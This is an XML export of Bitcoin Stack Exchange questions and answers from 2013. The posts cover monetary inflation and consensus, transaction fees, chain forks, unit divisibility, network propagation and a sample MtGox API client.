  <row Id="8776" PostTypeId="1" AcceptedAnswerId="8783" CreationDate="2013-03-27T23:07:45.857" Score="15" ViewCount="5733" Body="&lt;p&gt;Currently the creation of new coins is fixed at a certain rate which halves every few years and will at some point in the future drop to zero. As I understand it, this is by consensus, i.e. all the nodes in the network agree on this protocol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose at some point in the future the Bitcoin community were to decide that the currency's deflationary bias wasn't such a good thing for the economy and that it would be better to start expanding the monetary base at a higher rate. What would it take for such a policy to take effect? Specifically, what percentage of the nodes in the network would have to vote in favor of the new expansionary policy?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if indeed the network could vote itself into an expansionary policy, is it then also conceivable that it might vote itself into a hyperinflation, where the rate of expansion gets out of hand?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In short, what does it take to change the rate of expansion of the Bitcoin monetary base, and how easy or difficult is it to achieve as compared with the stroke of a central banker's pen?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: I can see a future where the top miners who own most of the computing power decide amongst themselves that they deserve more than their share of bitcoins after all and so they decide to institute the change, and I'm curious to know how the network would handle such an event.&lt;/p&gt;&#xA;" OwnerUserId="3228" LastEditorUserId="5406" LastEditDate="2016-02-17T20:34:40.083" LastActivityDate="2018-07-16T05:08:20.807" Title="Could there be hyperinflation in Bitcoin?" Tags="|mining-reward|money-supply|reward-schedule|inflation|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8778" PostTypeId="2" ParentId="8687" CreationDate="2013-03-27T23:18:27.270" Score="0" Body="&lt;p&gt;I really don't think you can ever prevent a &quot;51% attack&quot; without compromising some anonymity or decentralization.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imagine you walk into a room, you don't know anybody (anonymity) and you don't trust anybody (decentralization). In this case, you can only trust the majority. If the majority is lying (&quot;51% attack&quot;) then you are going to be fooled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can &quot;solve&quot; this by creating some kind of trust chain (e.g. I trust &quot;guy A&quot; who trust &quot;guy B&quot; who trust &quot;guy C&quot; .. so I trust guy C. However in this case, I must know guy A and guy A must know guy B .. etc and it wouldn't be as anonymous as bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you could &quot;solve&quot; it by creating some kind of authority, who we all trust, but in this case it wouldn't be as decentralized as bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="2785" LastActivityDate="2013-03-27T23:18:27.270" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8779" PostTypeId="1" CreationDate="2013-03-27T23:43:54.137" Score="4" ViewCount="1663" Body="&lt;p&gt;Can someone please explain to me what I am missing?&lt;/p&gt;&#xA;&lt;p&gt;I don't see how variable, market-based transaction fees can scale. I go to a merchant's website to buy, how do I select a mining peer to pay transaction fee to? Do I attach some bounty that any peer can earn if that peer wins the Proof-of-Work block? But what if my bounty isn't high enough to attract a peer given high transaction volume competing for priorities? Or not enough to cover any peer's mining overhead. How do I know how much to bid to be sure my transaction completed in a timely manner?&lt;/p&gt;&#xA;&lt;p&gt;This sounds very complex and unreliable and not at all like something that can scale to customers. Customers want to click one button and be done with the purchase and not waiting unknown hours debugging their payment processing. Amazon's One Click.&lt;/p&gt;&#xA;&lt;p&gt;I don't see how with different peers charging different fees (to match their market dynamics), the sender of a transaction can know the amount to bid to get in the next block? It is impossible because the tx fees are not uniform and the random selection of the next peer is not knowable in advance.&lt;/p&gt;&#xA;" OwnerUserId="3441" LastEditorUserId="48884" LastEditDate="2021-05-23T05:30:14.953" LastActivityDate="2021-05-23T05:30:14.953" Title="How can market-based transaction fees scale?" Tags="|transactions|transaction-fees|future-proof|blockspace-market|" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="8780" PostTypeId="2" ParentId="8776" CreationDate="2013-03-27T23:56:00.130" Score="6" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;As I understand it, this is by consensus, i.e. all the nodes in the network agree on this protocol.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No. The network doesn't vote to change itself. Read this: &lt;a href=&quot;https://bitcoin.stackexchange.com/a/662/2306&quot;&gt;What can an attacker with 51% of hash power do?&lt;/a&gt;&lt;br&gt;&#xA;Arguably, you could try to get a change to the bitcoin client implemented through &lt;a href=&quot;http://en.wikipedia.org/wiki/Astroturfing&quot; rel=&quot;nofollow noreferrer&quot;&gt;astroturfing&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's how you'd increase monetary inflation.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Find this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int64 static GetBlockValue(int nHeight, int64 nFees)&#xA;{&#xA;    int64 nSubsidy = 50 * COIN;&#xA;&#xA;    // Subsidy is cut in half every 210000 blocks, which will occur approximately every 4 years&#xA;    nSubsidy &amp;gt;&amp;gt;= (nHeight / 210000);&#xA;&#xA;    return nSubsidy + nFees;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Change 50 to, I dunno, 100.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Convince everybody else to do the same thing. Not just a majority - everybody.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2013-03-28T00:01:31.060" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="8782" PostTypeId="1" AcceptedAnswerId="8821" CreationDate="2013-03-28T00:28:13.813" Score="2" ViewCount="187" Body="&lt;p&gt;Suppose I'm stuck in the middle of nowhere with no internet access and I want to make a payment to a certain Bitcoin address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is it possible to do a transfer via postal mail, and if so what information would I need to send?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assume the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I have both the recipient's Bitcoin address and my (the sender's) own private key(s) memorized or written down on a piece of paper.&lt;/li&gt;&#xA;&lt;li&gt;The person who receives the mail (my agent) has access to the Bitcoin network and will act on my behalf.&lt;/li&gt;&#xA;&lt;li&gt;The mail is delivered securely (i.e. no chance of theft)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;What information would I need to send in the mail?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider the following possibilities:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;A)  Trust&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I trust my agent to do the transfer to the given address (e.g. the agent is the recipient), but I can't trust my agent with my private key(s)&lt;/li&gt;&#xA;&lt;li&gt;I trust my agent with all my information (private keys and all)&lt;/li&gt;&#xA;&lt;li&gt;I do not trust my agent at all&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;B)  Access to a computer&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I have access to a computer, so I can run any program/scripts that may be required for generating any signatures&lt;/li&gt;&#xA;&lt;li&gt;I don't have access to a computer (and I'm not Rain Man)&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3228" LastActivityDate="2013-03-28T17:52:26.347" Title="Can a transfer be done over postal mail?" Tags="|transactions|offline|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8783" PostTypeId="2" ParentId="8776" CreationDate="2013-03-28T00:34:06.727" Score="4" Body="&lt;p&gt;Not everybody needs to agree (that would probably never happen!) for there to be a change in the protocol (which would be needed to cause inflation), but it's not based on just a majority of hashpower either. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's really a vast majority of users that need to agree; if just 51% of users decided to change the protocol, it's entirely possible that it would cause a massive loss in confidence in both resulting chains. Retailers and every other service would need to choose which to accept (or accept both), and try to understand the difference, and communicate that on to users. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think most of us know its a bad idea to go down that path with Bitcoin while it's not yet been fully accepted as mainstream. A smoother option would probably be to create an alternative cryptocurrency with a new name, rather than trying to split the Bitcoin user base into two parts.&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="516" LastEditDate="2013-03-28T00:41:16.117" LastActivityDate="2013-03-28T00:41:16.117" CommentCount="18" ContentLicense="CC BY-SA 3.0" />
  <row Id="8785" PostTypeId="2" ParentId="7940" CreationDate="2013-03-28T00:46:50.577" Score="3" Body="&lt;p&gt;You will have to rebuild OpenSSL, since the build shipped by Fedora/Red Hat &lt;a href=&quot;https://bugzilla.redhat.com/show_bug.cgi?id=319901&quot; rel=&quot;nofollow noreferrer&quot;&gt;does not include support for elliptic curve cryptography&lt;/a&gt;, on which Bitcoin relies. So you have to build your own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once that's done, you can get on with building Bitcoin normally, provided you point it at your private build of OpenSSL with &lt;code&gt;-rpath&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, you can just skip all the work and &lt;a href=&quot;https://www.cryptorpms.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;use my existing Yum repository&lt;/a&gt;. This also gives you standards-compliant paths, as well as an SELinux-enabled &lt;code&gt;bitcoind&lt;/code&gt;. Read the RPM spec files if you're really interested in the build process.&lt;/p&gt;&#xA;" OwnerUserId="1567" LastEditorUserId="1567" LastEditDate="2020-01-06T18:44:10.663" LastActivityDate="2020-01-06T18:44:10.663" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="8787" PostTypeId="1" CreationDate="2013-03-28T01:14:38.943" Score="5" ViewCount="6289" Body="&lt;p&gt;I encountered a error whilst downloading Bitcoin-Qt on my Macbook version 10.6.8; it says &quot;Failed to read block&quot;&lt;br&gt;&#xA;How do I fix this error without losing the bitcoins currently in my wallet?&lt;br&gt;&#xA;Your assistance will be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="3648" LastEditorUserId="2306" LastEditDate="2013-03-28T01:29:58.203" LastActivityDate="2013-12-05T20:30:32.753" Title="&quot;Failed to read Block&quot;" Tags="|bitcoin-core|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8788" PostTypeId="2" ParentId="8638" CreationDate="2013-03-28T02:19:59.860" Score="0" Body="&lt;p&gt;Yes, there is decimal values. For example, today:&#xA;1 BTC = $ 87.64&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So&lt;/p&gt;&#xA;&#xA;&lt;p&gt;0.1 BTC  =  $ 8.76  ////&#xA;0.01 BTC =  $ 0.87  ////&#xA;0.001 BTC = $ 0.08  ////&#xA;And so on.&#xA;The minimum value is called &quot;Satoshi&quot; and it is: 0.00000001&lt;/p&gt;&#xA;" OwnerUserId="3649" LastActivityDate="2013-03-28T02:19:59.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8789" PostTypeId="2" ParentId="6133" CreationDate="2013-03-28T02:30:51.543" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Node.js_Example&quot; rel=&quot;nofollow&quot;&gt;The Bitcoin wiki has a nice example program&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var querystring = require('querystring'),&#xA;        https = require('https'),&#xA;        crypto = require('crypto');&#xA;&#xA;function MtGoxClient(key, secret) {&#xA;        this.key = key;&#xA;        this.secret = secret;&#xA;}&#xA;&#xA;MtGoxClient.prototype.query = function(path, args, callback) {&#xA;        var client = this;&#xA;&#xA;        // if no args or invalid args provided, just reset the arg object&#xA;        if (typeof args != &quot;object&quot;) args = {};&#xA;&#xA;        // generate a nonce&#xA;        args['nonce'] = (new Date()).getTime() * 1000;&#xA;        // compute the post data&#xA;        var post = querystring.stringify(args);&#xA;        // compute the sha512 signature of the post data&#xA;        var hmac = crypto.createHmac('sha512', new Buffer(client.secret, 'base64'));&#xA;        hmac.update(post);&#xA;&#xA;        // this is our query&#xA;        var options = {&#xA;                host: 'mtgox.com',&#xA;                port: 443,&#xA;                path: '/api/' + path,&#xA;                method: 'POST',&#xA;                agent: false,&#xA;                headers: {&#xA;                        'Rest-Key': client.key,&#xA;                        'Rest-Sign': hmac.digest('base64'),&#xA;                        'User-Agent': 'Mozilla/4.0 (compatible; MtGox node.js client)',&#xA;                        'Content-type': 'application/x-www-form-urlencoded',&#xA;                        'Content-Length': post.length&#xA;                }&#xA;        };&#xA;&#xA;        // run the query, buffer the data and call the callback&#xA;        var req = https.request(options, function(res) {&#xA;                res.setEncoding('utf8');&#xA;                var buffer = '';&#xA;                res.on('data', function(data) { buffer += data; });&#xA;                res.on('end', function() { if (typeof callback == &quot;function&quot;) { callback(JSON.parse(buffer)); } });&#xA;        });&#xA;&#xA;        // basic error management&#xA;        req.on('error', function(e) {&#xA;                console.log('warning: problem with request: ' + e.message);&#xA;        });&#xA;&#xA;        // post the data&#xA;        req.write(post);&#xA;        req.end();&#xA;};&#xA;&#xA;var client = new MtGoxClient('mykey', 'mysecret');&#xA;client.query('1/BTCUSD/public/ticker', {}, function(json) {&#xA;        // do something&#xA;        console.log(json);&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/MtGox/API/HTTP/v1&quot; rel=&quot;nofollow&quot;&gt;Here's documentation for the v1 API&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-03-28T02:30:51.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8790" PostTypeId="2" ParentId="8638" CreationDate="2013-03-28T03:20:26.110" Score="4" Body="&lt;p&gt;One Bitcoin is actually &lt;code&gt;10 000 000&lt;/code&gt; units in a transaction record, meaning that a Bitcoin is divisible down to eight decimal places. &lt;code&gt;1&lt;/code&gt; unit is called a &lt;strong&gt;satoshi&lt;/strong&gt;, named for the creator of Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most world currencies don't go below two decimal places in daily usage, and only in financial systems do they go below four decimal places.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When someone says &quot;There's only 21 million Bitcoin!&quot;, they are unaware that while there is 21,000,000 BTC ever in the whole system, there are actually 2,100,000,000,000,000 units in the whole system. That's 2.1 quadrillion units. In the unlikely event that, several decades or centuries down the line, there is a shortage causing significant flow problems, it is possible to further increase divisibility.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-03-28T03:20:26.110" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8791" PostTypeId="1" CreationDate="2013-03-28T03:23:46.337" Score="4" ViewCount="3079" Body="&lt;p&gt;Let's say the year is 2034 (optimistic?) and the New New World has adopted Bitcoin as its currency, and now there's a civil war, and naturally the two sides want to have their own version of Bitcoin ... hence a fork.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A permanent fork as far as anyone can tell.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What happens to my bitcoins in such an event?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If originally I owned BTC 1,000, do I now own BTC 1,000 and BTC2 1,000 separately after the fork, or is it just BTC 1,000, or do I have to choose between the two chains (i.e. I get either BTC 1,000 or BTC2 1,000 but not both), or do I lose all my BTC unless I redeem them for either BTC1 or BTC2 ... or what?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that forking Bitcoin into two or more currencies might reduce its value more than proportionately against real goods and services, which is to say that BTC2 10,000 might not buy you what you could have got for BTC 1,000 before the fork event, and we could get into the economics of that, but that's not my question. My question is specifically about the nominal and not the real, i.e. how many bitcoins I now own as opposed to what my bitcoins can now buy.&lt;/p&gt;&#xA;" OwnerUserId="3228" LastEditorUserId="2306" LastEditDate="2014-11-11T17:21:34.410" LastActivityDate="2014-11-11T17:21:34.410" Title="What happens to my bitcoins if there's a permanent fork in the chain?" Tags="|blockchain-fork|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8792" PostTypeId="1" AcceptedAnswerId="8793" CreationDate="2013-03-28T03:24:06.887" Score="6" ViewCount="10733" Body="&lt;p&gt;I am wondering if someone could explain why two transactions have different network propagation values... and what does it even mean considering they are both unconfirmed transactions.&#xA;Do the transactions propagate through the nodes without being confirmed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vSj9b.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;a href=&quot;https://blockchain.info/tx/aec00216dfad6100638580bdc17a52d62e9c5687d9a981aaa2ece769d1f305c3&quot; rel=&quot;noreferrer&quot;&gt;https://blockchain.info/tx/aec00216dfad6100638580bdc17a52d62e9c5687d9a981aaa2ece769d1f305c3&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DZwio.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;a href=&quot;https://blockchain.info/tx/bda711e375d32b70b9fe65f4e4ceba041c6d2bdcfdaa03c5cfaff02de5445539&quot; rel=&quot;noreferrer&quot;&gt;https://blockchain.info/tx/bda711e375d32b70b9fe65f4e4ceba041c6d2bdcfdaa03c5cfaff02de5445539&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A number of my transactions are still unconfirmed after 10 hours of waiting.&#xA;All transactions included a fee.&#xA;I am trying to work out what has happened to them and what this whole network propagation thing means.&lt;/p&gt;&#xA;" OwnerUserId="3562" LastActivityDate="2016-12-22T03:05:24.177" Title="Please explain network propagation with unconfirmed transactions (blockchain.info)" Tags="|blockchain|blockchain.info|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8793" PostTypeId="2" ParentId="8792" CreationDate="2013-03-28T03:39:57.903" Score="6" Body="&lt;p&gt;Network propagation is the number of nodes (computers running a bitcoin client) that have heard about your transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Confirmations is how many blocks have included your transaction and how many blocks have linked onto that block.  1 confirmation means your transaction was included in a block, 2 confirmations means that another block linked onto that first one, and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Until a transaction has been included in a block, it isn't considered to have really happened, regardless of how many nodes have heard about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Propagation needs to happen before a confirmation can occur, as a mining node needs to be aware of the transaction to include it in a block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As of this moment, both of your transactions you linked are now showing as having 1 confirmation after being included in block 228337.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for why it took so long to get a confirmation (468 minutes for the first one), no real idea.  Might be something regarding some miners dislike for satshoidice.  For example, &lt;a href=&quot;https://bitcointalk.org/index.php?topic=149668.msg1590550#msg1590550&quot; rel=&quot;nofollow&quot;&gt;the Eligius pool is configured to exclude any Satoshidice transactions from their block&lt;/a&gt;s, as they view them as spam.&lt;/p&gt;&#xA;" OwnerUserId="3310" LastEditorUserId="3310" LastEditDate="2014-03-04T14:26:51.933" LastActivityDate="2014-03-04T14:26:51.933" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="8794" PostTypeId="1" CreationDate="2013-03-28T04:50:05.030" Score="0" ViewCount="354" Body="&lt;p&gt;If you have large gains in bitcoin, is there any way that it can be taxed?  If I have $5000, and it appreciates to $10,000 worth of bitcoin, when I sell bitcoin for dollars can it be taxed as a capital gain?  I would think that since there is no documentation to support it that it would be difficult.&lt;/p&gt;&#xA;" OwnerUserId="3650" LastActivityDate="2013-03-28T08:16:28.543" Title="Is the appreciation in bitcoins taxable?" Tags="|taxes|" AnswerCount="1" CommentCount="2" ClosedDate="2013-03-28T18:27:35.797" ContentLicense="CC BY-SA 3.0" />
  <row Id="8795" PostTypeId="2" ParentId="8759" CreationDate="2013-03-28T05:51:05.057" Score="0" Body="&lt;p&gt;A) the original OG BTC guys don't believe in market intervention&lt;/p&gt;&#xA;&#xA;&lt;p&gt;B) they knew these initial spikes would put them on the map as fiat currencies degrade&lt;/p&gt;&#xA;&#xA;&lt;p&gt;C) the Satoshi unit of .00000001 allows for price levels to accommodate price swings by a factor of 10 mil&lt;/p&gt;&#xA;&#xA;&lt;p&gt;D) menu costs will become  neglidgeable if not 0 in an increasingly digital world &lt;/p&gt;&#xA;" OwnerUserId="3651" LastActivityDate="2013-03-28T05:51:05.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8796" PostTypeId="2" ParentId="8773" CreationDate="2013-03-28T06:11:02.780" Score="3" Body="&lt;p&gt;I assume you are asking about how to convert your BTC into GBP.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For small quantity, you can do a direct sales at one of the many bitcoin community forum, such as bitcointalk.org (particularly, the Currency Exchange sub-forum).  There is currently an active thread on the forum, where someone is &lt;a href=&quot;https://bitcointalk.org/index.php?topic=150537.0&quot; rel=&quot;nofollow&quot;&gt;buying large quantity of bitcoin&lt;/a&gt; and payment via cash deposit into your UK bank account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For large quantity, you should check out major exchanges, such as MTGOX, and receive your money via Bank Wire.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Accepting payment via Paypal and other reversible transfer services should be avoided, as the buyer can take your bitcoin and reversed the payment at a later date.&lt;/p&gt;&#xA;" OwnerUserId="1097" LastActivityDate="2013-03-28T06:11:02.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8797" PostTypeId="2" ParentId="8779" CreationDate="2013-03-28T07:27:45.873" Score="4" Body="&lt;p&gt;The blockchain is public, and every block has (amongst other things) the following information for each transaction (or it can be calculated):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The size of the transaction, in bytes&lt;/li&gt;&#xA;&lt;li&gt;The fee paid by the initiator of the transaction&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Miners in future are likely to calculate the earnings per byte for each transaction when selecting which ones to include in a block, so that they earn the maximum profit from the block. At the moment they mostly just include them all, provided there is at least a token fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, transactions that have not yet been included in a block are publicly available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;From this information a user could estimate the transaction fee they will need to pay to get their transaction included in the next block, or within one of the next few blocks. Of course in the long run, it won't be a user that has to seek out this information; it'll just be part of the information readily available as they initiate a transaction. At least, that's how I see it working.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea has also been floated that the receiver of a transaction could pay a small fee to get the transaction into a block sooner (to ensure they receive their payment).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reporting on the level of fees needed to process a transaction is minimal at the moment because it's not particularly difficult to get transactions included in a block with either no fee or just a token fee (say 0.00001BTC). This is because we haven't hit the block size limit (at least, we're not constantly hitting it).&lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2013-03-28T07:27:45.873" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="8798" PostTypeId="1" CreationDate="2013-03-28T07:54:45.980" Score="2" ViewCount="271" Body="&lt;p&gt;ShelbyMooreIII is promoting AnonyMint and/or AnonyCash as a concept* cryptocurrency based on a disk-space intensive algorithm. Some details are given here: &lt;a href=&quot;http://anonymint.org/#Proof-of-Work_Designs&quot; rel=&quot;nofollow&quot;&gt;http://anonymint.org/#Proof-of-Work_Designs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be the positive or negative impact of this kind of software on:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The disk you're running it on&lt;/li&gt;&#xA;&lt;li&gt;The CPU/GPU of the PC&lt;/li&gt;&#xA;&lt;li&gt;The HDD market&lt;/li&gt;&#xA;&lt;li&gt;The environmental effects of increased disk manufacture (I'm assuming here that such a currency would cause an increase in production)&lt;/li&gt;&#xA;&lt;li&gt;Anything else substantially affected&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;*I don't know what stage of development AnonyMint is at.&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="516" LastEditDate="2013-03-28T08:16:04.203" LastActivityDate="2019-06-03T00:47:41.950" Title="What would be the technical, and wider, implications of a cryptocurrency that used proof-of-disk-space?" Tags="|alternatives|storage-footprint|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8799" PostTypeId="1" CreationDate="2013-03-28T08:03:04.590" Score="1" ViewCount="2030" Body="&lt;p&gt;Is there a manual for &lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoin-Qt&quot; rel=&quot;nofollow&quot;&gt;Bitcoin-Qt&lt;/a&gt; on the Mac&amp;nbsp;OS&amp;nbsp;X?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically, I'd like to move my &lt;code&gt;wallet.dat&lt;/code&gt; to a different folder (a &lt;a href=&quot;http://en.wikipedia.org/wiki/TrueCrypt&quot; rel=&quot;nofollow&quot;&gt;TrueCrypt&lt;/a&gt; volume) and if/how I may configure &lt;code&gt;bitcoin.conf&lt;/code&gt; so that the software autopoints to that folder upon launch. Is it possible to have &lt;code&gt;wallet.dat&lt;/code&gt; in one directory and the blockchain files in a separate directory?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondarily, I'd like to learn about all possible configuration settings - both from the shell prompt as well as from &lt;code&gt;bitcoin.conf&lt;/code&gt;. Can &lt;code&gt;bitcoin.conf&lt;/code&gt; contain just one or two lines for desired configuration settings?&lt;/p&gt;&#xA;" OwnerUserId="3653" LastEditorUserId="1405" LastEditDate="2014-07-09T17:14:11.117" LastActivityDate="2014-07-09T17:14:11.117" Title="Manual for Bitcoin-Qt on Mac OS X" Tags="|bitcoin-core|mac|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8800" PostTypeId="2" ParentId="8794" CreationDate="2013-03-28T08:16:28.543" Score="-1" Body="&lt;p&gt;My guess is that as long as you have a receipt for the buy, and one for the sell then there is no reason why the government would say no to taking their share if it. I guess it's just classed as currency trading??&lt;/p&gt;&#xA;" OwnerUserId="3654" LastActivityDate="2013-03-28T08:16:28.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8801" PostTypeId="2" ParentId="8236" CreationDate="2013-03-28T10:08:49.167" Score="1" Body="&lt;p&gt;They control bitcoin in the same sense that Queen Elizabeth controls the United Kingdom.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In theory, she has the power to something highly destructive, eg. order the military to drop a nuclear weapon on France.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In practice, unless her decisions agree with democratic consensus, she will almost certainly be dethroned.&lt;/p&gt;&#xA;" OwnerUserId="3627" LastActivityDate="2013-03-28T10:08:49.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8802" PostTypeId="2" ParentId="8799" CreationDate="2013-03-28T10:14:03.390" Score="1" Body="&lt;p&gt;Start Bitcoin-qt, &#xA;click help, &#xA;click debug window,&#xA;click show below command-line options,&#xA;click show details&lt;/p&gt;&#xA;" OwnerUserId="3185" LastActivityDate="2013-03-28T10:14:03.390" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8803" PostTypeId="2" ParentId="8791" CreationDate="2013-03-28T10:15:26.600" Score="7" Body="&lt;p&gt;You would be able to spend your bitcoins twice - once on each branch. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The independent branches have no way of telling whether pre-fork bitcoins have already been spent on the other branch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This only applies to bitcoins that you received prior to the fork event. If you receive bitcoins after the fork event you have to choose one or the other.&lt;/p&gt;&#xA;" OwnerUserId="3627" LastEditorUserId="3627" LastEditDate="2013-03-28T11:48:59.233" LastActivityDate="2013-03-28T11:48:59.233" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8804" PostTypeId="1" AcceptedAnswerId="8817" CreationDate="2013-03-28T10:34:21.473" Score="29" ViewCount="15029" Body="&lt;p&gt;I am wondering whether each bitcoin address is unique. I would assume yes. Then, how is this enforced given the distributed address generation?&lt;/p&gt;&#xA;&lt;p&gt;As I understand it, each time an address is generated, a new key-pair is also generated. On what basis is this done? Since the address is the hash of the public half of the key-pair that would also allow (at least theoretically) multiple public keys to have the same hash.&lt;/p&gt;&#xA;" OwnerUserId="3657" LastEditorUserId="5406" LastEditDate="2020-10-23T18:10:54.057" LastActivityDate="2024-01-31T15:37:43.633" Title="Is each Bitcoin address unique?" Tags="|security|address-generation|key-collision|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="8805" PostTypeId="2" ParentId="8804" CreationDate="2013-03-28T10:39:42.380" Score="10" Body="&lt;p&gt;It is enforced simply having such an enormous number of addresses, that generating one equal to another one is so unlikely it can be considered as good as impossible.&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2013-03-28T10:39:42.380" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
